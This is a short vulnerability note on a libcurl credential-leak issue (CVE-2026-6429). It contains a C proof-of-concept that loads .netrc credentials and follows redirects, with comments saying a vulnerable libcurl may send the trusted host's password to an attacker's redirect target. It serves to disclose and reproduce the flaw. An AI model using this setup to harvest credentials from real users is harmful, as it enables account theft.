CVE-2026-6429 libcurl信息泄露漏洞

#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl = curl_easy_init(); if(curl) { // Target URL that redirects to an attacker-controlled server curl_easy_setopt(curl, CURLOPT_URL, "http://trusted.example.com/login"); // Enable loading credentials from .netrc file curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED); // Specify path to .netrc if needed, otherwise default is used // curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "/path/to/.netrc"); // Enable following HTTP redirects (3xx codes) curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); // Perform the request // In a vulnerable version, the password for 'trusted.example.com' // found in .netrc might be sent to the redirect target. CURLcode res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } return 0; }